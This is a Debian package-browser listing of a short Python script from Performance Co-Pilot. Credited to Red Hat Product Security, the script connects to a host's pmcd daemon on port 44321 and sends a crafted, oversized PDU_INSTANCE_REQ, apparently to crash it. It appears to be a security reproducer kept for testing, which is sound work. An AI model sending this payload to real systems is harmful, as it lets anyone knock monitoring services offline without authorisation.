File: crash-instancereq

package info (click to toggle)
pcp 7.0.5-1
  • links: PTS
  • area: main
  • in suites: forky, sid
  • size: 252,916 kB
  • sloc: ansic: 1,478,844; sh: 177,285; xml: 160,462; cpp: 83,809; python: 24,349; perl: 18,303; yacc: 6,877; lex: 2,864; makefile: 2,694; awk: 165; fortran: 60; java: 52
file content (18 lines) | stat: -rwxr-xr-x 623 bytes parent folder | download | duplicates (5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#
# usage: python crash-instancereq HOST
#
# Connects to pmcd on HOST and sends a crafted PDU_INSTANCE_REQ
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
#sock = socket.create_connection((host, 44321))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
message = b"\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00"
message += b'\x00\x00\x04\x08\x00\x00p\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff'
message += b'X' * 1000
sock.send(message)
sock.close()